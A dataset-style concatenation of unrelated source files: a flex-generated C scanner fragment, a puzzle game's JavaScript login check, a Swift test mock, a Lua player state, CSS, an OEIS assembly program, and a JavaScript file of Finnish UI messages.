if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */
YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;
if ( b->yy_is_our_buffer )
ncgfree((void *) b->yy_ch_buf );
ncgfree((void *) b );
}
#ifndef __cplusplus
extern int isatty (int );
#endif /* __cplusplus */
/* Initializes or reinitializes a buffer.
* This function is sometimes called more than once on the same buffer,
* such as during a ncgrestart() or at EOF.
*/
static void ncg_init_buffer (YY_BUFFER_STATE b, FILE * file )
{
int oerrno = errno;
ncg_flush_buffer(b );
b->yy_input_file = file;
b->yy_fill_buffer = 1;
/* If b is the current buffer, then ncg_init_buffer was _probably_
* called from ncgrestart() or through yy_get_next_buffer.
* In that case, we don't want to reset the lineno or column.
*/
if (b != YY_CURRENT_BUFFER){
b->yy_bs_lineno = 1;
b->yy_bs_column = 0;
}
b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;
errno = oerrno;
}
/** Discard all buffered characters. On the next scan, YY_INPUT will be called.
* @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.
*
*/
void ncg_flush_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
b->yy_n_chars = 0;
/* We always need two end-of-buffer characters. The first causes
* a transition to the end-of-buffer state. The second causes
* a jam in that state.
*/
b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
b->yy_buf_pos = &b->yy_ch_buf[0];
b->yy_at_bol = 1;
b->yy_buffer_status = YY_BUFFER_NEW;
if ( b == YY_CURRENT_BUFFER )
ncg_load_buffer_state( );
}
/** Pushes the new state onto the stack. The new state becomes
* the current state. This function will allocate the stack
* if necessary.
* @param new_buffer The new state.
*
*/
void ncgpush_buffer_state (YY_BUFFER_STATE new_buffer )
{
if (new_buffer == NULL)
return;
ncgensure_buffer_stack();
/* This block is copied from ncg_switch_to_buffer. */
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
/* Only push if top exists. Otherwise, replace top. */
if (YY_CURRENT_BUFFER)
(yy_buffer_stack_top)++;
YY_CURRENT_BUFFER_LVALUE = new_buffer;
/* copied from ncg_switch_to_buffer. */
ncg_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
/** Removes and deletes the top of the stack, if present.
* The next element becomes the new top.
*
*/
void ncgpop_buffer_state (void)
{
if (!YY_CURRENT_BUFFER)
return;
ncg_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
if ((yy_buffer_stack_top) > 0)
--(yy_buffer_stack_top);
if (YY_CURRENT_BUFFER) {
ncg_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
}
/* Allocates the stack if it does not exist.
* Guarantees space for at least one push.
*/
static void ncgensure_buffer_stack (void)
{
int num_to_alloc;
if (!(yy_buffer_stack)) {
/* First allocation is just for 2 elements, since we don't know if this
* scanner will even need a stack. We use 2 instead of 1 to avoid an
* immediate realloc on the next call.
*/
num_to_alloc = 1;
(yy_buffer_stack) = (struct yy_buffer_state**)ncgalloc
(num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in ncgensure_buffer_stack()" );
memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
(yy_buffer_stack_top) = 0;
return;
}
if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){
/* Increase the buffer to prepare for a possible push. */
int grow_size = 8 /* arbitrary grow size */;
num_to_alloc = (yy_buffer_stack_max) + grow_size;
(yy_buffer_stack) = (struct yy_buffer_state**)ncgrealloc
((yy_buffer_stack),
num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in ncgensure_buffer_stack()" );
/* zero only the new slots.*/
memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
}
}
/** Setup the input buffer state to scan directly from a user-specified character buffer.
* @param base the character buffer
* @param size the size in bytes of the character buffer
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE ncg_scan_buffer (char * base, yy_size_t size )
{
YY_BUFFER_STATE b;
if ( size < 2 ||
base[size-2] != YY_END_OF_BUFFER_CHAR ||
base[size-1] != YY_END_OF_BUFFER_CHAR )
/* They forgot to leave room for the EOB's. */
return 0;
b = (YY_BUFFER_STATE) ncgalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in ncg_scan_buffer()" );
b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */
b->yy_buf_pos = b->yy_ch_buf = base;
b->yy_is_our_buffer = 0;
b->yy_input_file = 0;
b->yy_n_chars = b->yy_buf_size;
b->yy_is_interactive = 0;
b->yy_at_bol = 1;
b->yy_fill_buffer = 0;
b->yy_buffer_status = YY_BUFFER_NEW;
ncg_switch_to_buffer(b );
return b;
}
/** Setup the input buffer state to scan a string. The next call to ncglex() will
* scan from a @e copy of @a str.
* @param yystr a NUL-terminated string to scan
*
* @return the newly allocated buffer state object.
* @note If you want to scan bytes that may contain NUL values, then use
* ncg_scan_bytes() instead.
*/
YY_BUFFER_STATE ncg_scan_string (yyconst char * yystr )
{
return ncg_scan_bytes(yystr,strlen(yystr) );
}
/** Setup the input buffer state to scan the given bytes. The next call to ncglex() will
* scan from a @e copy of @a bytes.
* @param bytes the byte buffer to scan
* @param len the number of bytes in the buffer pointed to by @a bytes.
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE ncg_scan_bytes (yyconst char * yybytes, int _yybytes_len )
{
YY_BUFFER_STATE b;
char *buf;
yy_size_t n;
int i;
/* Get memory for full buffer, including space for trailing EOB's. */
n = _yybytes_len + 2;
buf = (char *) ncgalloc(n );
if ( ! buf )
YY_FATAL_ERROR( "out of dynamic memory in ncg_scan_bytes()" );
for ( i = 0; i < _yybytes_len; ++i )
buf[i] = yybytes[i];
buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;
b = ncg_scan_buffer(buf,n );
if ( ! b )
YY_FATAL_ERROR( "bad buffer in ncg_scan_bytes()" );
/* It's okay to grow etc. this buffer, and we should throw it
* away when we're done.
*/
b->yy_is_our_buffer = 1;
return b;
}
#ifndef YY_EXIT_FAILURE
#define YY_EXIT_FAILURE 2
#endif
static void yy_fatal_error (yyconst char* msg )
{
(void) fprintf( stderr, "%s\n", msg );
exit( YY_EXIT_FAILURE );
}
/* Redefine yyless() so it works in section 3 code. */
#undef yyless
#define yyless(n) \
do \
{ \
/* Undo effects of setting up ncgtext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
ncgtext[ncgleng] = (yy_hold_char); \
(yy_c_buf_p) = ncgtext + yyless_macro_arg; \
(yy_hold_char) = *(yy_c_buf_p); \
*(yy_c_buf_p) = '\0'; \
ncgleng = yyless_macro_arg; \
} \
while ( 0 )
/* Accessor methods (get/set functions) to struct members. */
/** Get the current line number.
*
*/
int ncgget_lineno (void)
{
return ncglineno;
}
/** Get the input stream.
*
*/
FILE *ncgget_in (void)
{
return ncgin;
}
/** Get the output stream.
*
*/
FILE *ncgget_out (void)
{
return ncgout;
}
/** Get the length of the current token.
*
*/
int ncgget_leng (void)
{
return ncgleng;
}
/** Get the current token.
*
*/
char *ncgget_text (void)
{
return ncgtext;
}
/** Set the current line number.
* @param line_number
*
*/
void ncgset_lineno (int line_number )
{
ncglineno = line_number;
}
/** Set the input stream. This does not discard the current
* input buffer.
* @param in_str A readable stream.
*
* @see ncg_switch_to_buffer
*/
void ncgset_in (FILE * in_str )
{
ncgin = in_str ;
}
void ncgset_out (FILE * out_str )
{
ncgout = out_str ;
}
int ncgget_debug (void)
{
return ncg_flex_debug;
}
void ncgset_debug (int bdebug )
{
ncg_flex_debug = bdebug ;
}
static int yy_init_globals (void)
{
/* Initialization is the same as for the non-reentrant scanner.
* This function is called from ncglex_destroy(), so don't allocate here.
*/
(yy_buffer_stack) = 0;
(yy_buffer_stack_top) = 0;
(yy_buffer_stack_max) = 0;
(yy_c_buf_p) = (char *) 0;
(yy_init) = 0;
(yy_start) = 0;
/* Defined in main.c */
#ifdef YY_STDINIT
ncgin = stdin;
ncgout = stdout;
#else
ncgin = (FILE *) 0;
ncgout = (FILE *) 0;
#endif
/* For future reference: Set errno on error, since we are called by
* ncglex_init()
*/
return 0;
}
/* ncglex_destroy is for both reentrant and non-reentrant scanners. */
int ncglex_destroy (void)
{
/* Pop the buffer stack, destroying each element. */
while(YY_CURRENT_BUFFER){
ncg_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
ncgpop_buffer_state();
}
/* Destroy the stack itself. */
ncgfree((yy_buffer_stack) );
(yy_buffer_stack) = NULL;
/* Reset the globals. This is important in a non-reentrant scanner so the next time
* ncglex() is called, initialization will occur. */
yy_init_globals( );
return 0;
}
/*
* Internal utility routines.
*/
#ifndef yytext_ptr
static void yy_flex_strncpy (char* s1, yyconst char * s2, int n )
{
register int i;
for ( i = 0; i < n; ++i )
s1[i] = s2[i];
}
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * s )
{
register int n;
for ( n = 0; s[n]; ++n )
;
return n;
}
#endif
void *ncgalloc (yy_size_t size )
{
return (void *) malloc( size );
}
void *ncgrealloc (void * ptr, yy_size_t size )
{
/* The cast to (char *) in the following accommodates both
* implementations that use char* generic pointers, and those
* that use void* generic pointers. It works with the latter
* because both ANSI C and C++ allow castless assignment from
* any pointer type to void*, and deal with argument conversions
* as though doing an assignment.
*/
return (void *) realloc( (char *) ptr, size );
}
void ncgfree (void * ptr )
{
free( (char *) ptr ); /* see ncgrealloc() for (char *) cast */
}
#define YYTABLES_NAME "yytables"
#line 285 "ncgen.l"
/* Hack to keep compile quiet */
void
ignore()
{
yyunput(0,NULL);
}
| 30.993286 | 117 | 0.564447 |
041bfa3bb423468420e1c6607240c165050d59c6
| 1,242 |
js
|
JavaScript
|
public/src/scripts/login.js
|
LCordial/puzzle-game
|
de8fea9add185bf63a6e2070c77da643fa614e78
|
[
"MIT"
] | 1 |
2021-04-22T06:36:36.000Z
|
2021-04-22T06:36:36.000Z
|
public/src/scripts/login.js
|
LCordial/puzzle-game
|
de8fea9add185bf63a6e2070c77da643fa614e78
|
[
"MIT"
] | null | null | null |
public/src/scripts/login.js
|
LCordial/puzzle-game
|
de8fea9add185bf63a6e2070c77da643fa614e78
|
[
"MIT"
] | null | null | null |
//VARIABLES
var password="TPMXQQA";
var login=document.getElementById("login");
var text=document.getElementById("textIn");
var IP="127.004.831";
var ComName="RaMoOsNe";
var loginInput=document.getElementById("loginCompany1");
var loginInput2=document.getElementById("loginCompany2");
var loginSubmit=document.getElementById("loginCompanySubmit");
var loginText=document.getElementById("loginCompanyName");
var companyDashBoard = document.getElementsByClassName('companyDashBoard');
//FUNCTION
function startGame(){
window.location.replace('src/pages/screen.html')
}
function companyPasswordCheck(){
var InputLogin=loginInput.value;
var InputLogin2=loginInput2.value;
if(InputLogin == IP){
console.log("IP correct");
if(InputLogin2 == ComName){
loginText.innerHTML="Welcome Stefan";
for (var o=0;o<companyDashBoard.length;o++){
console.log("Command Run");
companyDashBoard[o].style.opacity = ( companyDashBoard[o].style.opacity == "0" ? "1" : "0");
companyDashBoard[o].style.zIndex = "10";
}
}else{
loginText.innerHTML="Incorrect";
}
}else{
loginText.innerHTML="Incorrect";
}
}
| 33.567568 | 108 | 0.671498 |
33432ba2ddbdf0d752f4c853a33ef51d602972b0
| 1,574 |
swift
|
Swift
|
ShopAppTests/App/Modules/Base/ViewModels/Mocks/BaseAddressListViewModelMock.swift
|
Rahul-Abhishek-AU6/ShopApp
|
e3686d9dbe1af86595ec689edd865a679cd5850a
|
[
"Apache-2.0"
] | 111 |
2018-03-02T18:11:55.000Z
|
2022-03-22T02:04:50.000Z
|
ShopAppTests/App/Modules/Base/ViewModels/Mocks/BaseAddressListViewModelMock.swift
|
Rahul-Abhishek-AU6/ShopApp
|
e3686d9dbe1af86595ec689edd865a679cd5850a
|
[
"Apache-2.0"
] | 79 |
2018-02-27T08:40:27.000Z
|
2021-08-08T15:04:02.000Z
|
ShopAppTests/App/Modules/Base/ViewModels/Mocks/BaseAddressListViewModelMock.swift
|
Rahul-Abhishek-AU6/ShopApp
|
e3686d9dbe1af86595ec689edd865a679cd5850a
|
[
"Apache-2.0"
] | 62 |
2018-03-27T21:49:03.000Z
|
2021-10-30T11:38:00.000Z
|
//
// BaseAddressListViewModelMock.swift
// ShopAppTests
//
// Created by Evgeniy Antonov on 3/2/18.
// Copyright © 2018 RubyGarage. All rights reserved.
//
import RxSwift
import ShopApp_Gateway
@testable import ShopApp
class BaseAddressListViewModelMock: BaseAddressListViewModel {
var isNeedsToReturnAddresses = false
var isLoadCustomerAddressesStarted = false
var isDeleteCustomerAddressStarted = false
var isUpdateCustomerDefaultAddressStarted = false
override func loadCustomerAddresses(isTranslucentHud: Bool = false, continueLoading: Bool = false) {
if isNeedsToReturnAddresses {
let address = Address()
address.firstName = "first name"
address.lastName = "last name"
address.address = "address"
address.secondAddress = "second address"
address.city = "city"
address.country = "country"
address.state = "state"
address.zip = "zip"
address.phone = "phone"
customerAddresses.value = [address]
} else {
customerAddresses.value = []
}
isLoadCustomerAddressesStarted = true
}
override func deleteCustomerAddress(with address: Address, type: AddressListType) {
isDeleteCustomerAddressStarted = true
}
override func updateCustomerDefaultAddress(with address: Address) {
isUpdateCustomerDefaultAddressStarted = true
}
func makeSelectedAddress(address: Address) {
didSelectAddress.onNext(address)
}
}
| 30.862745 | 104 | 0.665184 |
899eb308936063e65f789bdec1df704f986b8824
| 1,779 |
lua
|
Lua
|
Overworld/model/entities/playerStates/StillUpState.lua
|
tomyahu/Tomimi-Game-Editor
|
8d14dc0d3ead8d90a9affd783e11048d7260c471
|
[
"MIT"
] | 1 |
2019-01-18T21:50:11.000Z
|
2019-01-18T21:50:11.000Z
|
Overworld/model/entities/playerStates/StillUpState.lua
|
tomyahu/LotRM
|
8d14dc0d3ead8d90a9affd783e11048d7260c471
|
[
"MIT"
] | 1 |
2019-12-04T15:39:45.000Z
|
2019-12-04T15:39:45.000Z
|
Overworld/model/entities/playerStates/StillUpState.lua
|
tomyahu/Tomimi-Game-Editor
|
8d14dc0d3ead8d90a9affd783e11048d7260c471
|
[
"MIT"
] | null | null | null |
require "lib.classes.class"
local NormalPlayerState = require "Overworld.model.entities.playerStates.NormalPlayerState"
--------------------------------------------------------------------------------------------------------
-- class: StillRightState
-- param: player:Player -> the player object of the overworld
-- The state of the player in which it is standing still and looking right
local StillUpState = extend(NormalPlayerState, function(self, player) end)
-- moveUp: None -> None
-- Action to perform when the player moves up
-- Changes the state to the WalkingUpState
function StillUpState.moveUp(self)
NormalPlayerState.moveUp(self)
self.player:setState("WalkingUpState")
end
-- moveDown: None -> None
-- Action to perform when the player moves down
-- Changes the state to the WalkingDownState
function StillUpState.moveDown(self)
NormalPlayerState.moveDown(self)
self.player:setState("WalkingDownState")
end
-- moveLeft: None -> None
-- Action to perform when the player moves left
-- Changes the state to the WalkingLeftState
function StillUpState.moveLeft(self)
NormalPlayerState.moveLeft(self)
self.player:setState("WalkingLeftState")
end
-- moveRight: None -> None
-- Action to perform when the player moves right
-- Changes the state to the WalkingRightState
function StillUpState.moveRight(self)
NormalPlayerState.moveRight(self)
self.player:setState("WalkingRightState")
end
-- getInteractuableHitbox: None -> None
-- Gets the interactuable hitbox of the state
-- In this case a hitbox in the upper part of the player
function StillUpState.getInteractuableHitbox(self)
return self.player.interactuable_up
end
-- to string function
function StillUpState.toString(self)
return "StillUpState"
end
return StillUpState
| 32.944444 | 104 | 0.733558 |
3e76ef50178b446630580ee7c8c87c17e3350649
| 246 |
h
|
C
|
Demo/CMSliderDemo/SliderDemos/LineSliderDemoViewController.h
|
chucklab/CMSlider
|
930e6f69246098dfc95e23df600f613523f5737c
|
[
"MIT"
] | 2 |
2017-03-02T09:46:10.000Z
|
2018-05-02T03:15:19.000Z
|
Demo/CMSliderDemo/SliderDemos/LineSliderDemoViewController.h
|
chucklab/CMSlider
|
930e6f69246098dfc95e23df600f613523f5737c
|
[
"MIT"
] | null | null | null |
Demo/CMSliderDemo/SliderDemos/LineSliderDemoViewController.h
|
chucklab/CMSlider
|
930e6f69246098dfc95e23df600f613523f5737c
|
[
"MIT"
] | null | null | null |
//
// LineSliderDemoViewController.h
// CMSliderDemo
//
// Created by Chuck MA on 02/28/2017.
// Copyright © 2017 Chuck's Lab. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface LineSliderDemoViewController : UIViewController
@end
| 17.571429 | 58 | 0.727642 |
4d31830da7fc714dbc08d07687c0ce931e8d8de9
| 895 |
asm
|
Assembly
|
programs/oeis/314/A314205.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1 |
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/314/A314205.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/314/A314205.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A314205: Coordination sequence Gal.5.133.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,11,17,22,26,31,37,43,48,53,59,65,70,74,79,85,91,96,101,107,113,118,122,127,133,139,144,149,155,161,166,170,175,181,187,192,197,203,209,214,218,223,229,235,240,245,251,257,262
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $3,$0
mov $7,2
lpb $7
mov $0,$3
sub $7,1
add $0,$7
sub $0,1
mul $0,2
cal $0,312975 ; Coordination sequence Gal.5.110.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
add $0,4
mov $4,$0
mov $6,$7
lpb $6
sub $6,1
mov $8,$4
lpe
lpe
lpb $3
mov $3,0
sub $8,$4
lpe
mov $4,$8
sub $4,4
add $1,$4
lpe
| 24.861111 | 186 | 0.620112 |
209e06d5c5ccf403daa458a42708e85306001d38
| 1,260 |
css
|
CSS
|
src/styles/styles.css
|
rayjencode/gatsby-wordpress-graphql
|
316621ac58d01688d80065e236ca9dd6ab80df56
|
[
"MIT"
] | null | null | null |
src/styles/styles.css
|
rayjencode/gatsby-wordpress-graphql
|
316621ac58d01688d80065e236ca9dd6ab80df56
|
[
"MIT"
] | null | null | null |
src/styles/styles.css
|
rayjencode/gatsby-wordpress-graphql
|
316621ac58d01688d80065e236ca9dd6ab80df56
|
[
"MIT"
] | null | null | null |
a {
font-family: Arial, Helvetica, sans-serif;
}
/* Header */
.mainMenu__link .mainMenu__item {
padding: 5px 10px;
border: 1px solid white;
}
.mainMenu__item:hover,
.mainMenu__item[aria-current="page"] {
background: white;
color: rebeccapurple;
}
.mainMenu__list__child {
position: absolute;
margin: 6px 0;
display: none;
/* padding: 5px 10px; */
}
.mainMenu__link:hover .mainMenu__list__child {
display: block;
position: absolute;
background: rebeccapurple;
}
/* Meta Data */
.metaData ul li + li:before {
content: ", ";
}
.metaData ul li:first-of-type:before {
content: "" !important;
}
/* Component */
.d-flex {
display: flex;
}
.justify-content-between {
justify-content: space-between;
}
.justify-content-start {
justify-content: flex-start;
}
.align-items-center {
align-items: center;
}
.list-unstyled {
list-style: none;
}
.text-decoration-none {
text-decoration: none;
}
.m-0 {
margin: 0;
}
.p-0 {
padding: 0;
}
.px-2 {
padding: 20px;
}
.py-2 {
padding: 20px;
}
.mr-3 {
margin-right: 30px;
}
.ml-3 {
margin-left: 30px;
}
.mr-5 {
margin-right: 50px;
}
.mt-4 {
margin-top: 40px;
}
.text-white {
color: white;
}
.text-center {
text-align: center;
}
.text-bold {
font-weight: bold;
}
| 13.548387 | 46 | 0.646032 |
e773452762a6f90a9bbce54dd056d1dc9751863c
| 15,484 |
js
|
JavaScript
|
src/PTV.Application.Web/wwwroot/js/app/util/redux-form/HOC/withEntityHeader/messages.js
|
MikkoVirenius/ptv-1.7
|
c2fd52c6c9774722b0a3e958d8537fa7de322207
|
[
"MIT"
] | null | null | null |
src/PTV.Application.Web/wwwroot/js/app/util/redux-form/HOC/withEntityHeader/messages.js
|
MikkoVirenius/ptv-1.7
|
c2fd52c6c9774722b0a3e958d8537fa7de322207
|
[
"MIT"
] | null | null | null |
src/PTV.Application.Web/wwwroot/js/app/util/redux-form/HOC/withEntityHeader/messages.js
|
MikkoVirenius/ptv-1.7
|
c2fd52c6c9774722b0a3e958d8537fa7de322207
|
[
"MIT"
] | null | null | null |
/**
* The MIT License
* Copyright (c) 2016 Population Register Centre (VRK)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
import { defineMessages } from 'react-intl'
import { formTypesEnum } from 'enums'
export default defineMessages({
archiveEntityButton: {
id: 'Components.Buttons.ArchiveButton',
defaultMessage: 'Arkistoi'
},
archiveLanguageButton: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.ArchiveLanguageButton.Title',
defaultMessage: 'Arkistoi kieliversio'
},
archiveLanguageDialogTitle: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida kieliversion?'
},
archiveLanguageDialogText: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.ArchiveDialog.Text',
defaultMessage: 'Kaikki kieliversion ({language}) tiedot arkistoidaan.'
},
withdrawLanguageButton: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.WithdrawLanguageButton.Title',
defaultMessage: 'Palauta luonnokseksi'
},
withdrawButton: {
id: 'Components.Buttons.WithdrawButton',
defaultMessage: 'Palauta luonnokseksi'
},
withdrawLanguageDialogTitle: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun kieliversion luonnokseksi?'
},
withdrawLanguageDialogText: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.WithdrawDialog.Text',
defaultMessage: 'Kaikki kieliversion ({language}) tiedot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
},
restoreButton: {
id: 'Components.Buttons.RestoreButton',
defaultMessage: 'Palauta arkistosta'
},
restoreLanguageButton: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.RestoreLanguageButton.Title',
defaultMessage: 'Palauta arkistosta'
},
restoreLanguageDialogTitle: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun kieliversion luonnokseksi?'
},
restoreLanguageDialogText: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.LanguageLabel.RestoreDialog.Text',
defaultMessage: 'Kaikki kieliversion ({language}) tiedot palautetaan luonnostilaan.'
},
linkToPublish: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.LinkToPublish.Title',
defaultMessage: 'Aiempi julkaistu versio {date}'
},
linkToModified: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.LinkToModified.Title',
defaultMessage: 'Aiempi muokattu versio {date}'
},
acceptButton: {
id: 'Components.Buttons.Accept',
defaultMessage: 'Kyllä'
},
cancelButton: {
id: 'Components.Buttons.Cancel',
defaultMessage: 'Peruuta'
}
})
export const dialogMessages = {
[formTypesEnum.SERVICEFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida palvelun?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.ArchiveDialog.Text',
defaultMessage: 'Kaikki palvelun tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun palvelun luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.WithdrawDialog.Text',
defaultMessage: 'Kaikki palvelun tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun palvelun luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.Service.RestoreDialog.Text',
defaultMessage: 'Kaikki palvelun tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.ELECTRONICCHANNELFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida verkkoasioinnin?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.ArchiveDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun verkkoasioinnin luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.WithdrawDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun verkkoasioinnin luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.ElectronicChannel.RestoreDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.PHONECHANNELFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida puhelinasioinnin?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.ArchiveDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.WithdrawDialog.Title',
defaultMessage: 'Haluatko palauttaa julkaistun puhelinasioinnin luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.WithdrawDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot siirtyvät pois julkaisusta, ja ne palautetaan luonnostilaan.'
}
}),
restore: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.RestoreDialog.Title',
defaultMessage: 'Haluatko palauttaa arkistoidun puhelinasioinnin luonnokseksi?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PhoneChannel.RestoreDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot palautetaan luonnostilaan.'
}
})
},
[formTypesEnum.PRINTABLEFORM]: {
archive: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.ArchiveDialog.Title',
defaultMessage: 'Haluatko arkistoida tulostettavan lomakkeen?'
},
text: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.ArchiveDialog.Text',
defaultMessage: 'Kaikki asiointikanavan tiedot ja kieliversiot arkistoidaan.'
}
}),
withdraw: defineMessages({
title: {
id: 'Util.ReduxForm.HOC.WithEntityHeader.EntityLabel.PrintableChannel.WithdrawDialog.Title',
